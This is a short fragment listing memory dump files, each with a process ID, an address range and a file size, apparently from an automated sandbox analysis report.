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memory/764-27-0x000007FEF7430000-0x000007FEF76AA000-memory.dmpFilesize
2.5MB
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memory/1100-5-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1100-4-0x0000000004C20000-0x0000000004C31000-memory.dmpFilesize
68KB
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memory/1100-3-0x0000000004870000-0x0000000004C17000-memory.dmpFilesize
3.7MB
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memory/1780-6-0x0000000000000000-mapping.dmp
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memory/1912-0-0x0000000004810000-0x0000000004BB7000-memory.dmpFilesize
3.7MB
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memory/1912-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1912-1-0x0000000004BC0000-0x0000000004BD1000-memory.dmpFilesize
68KB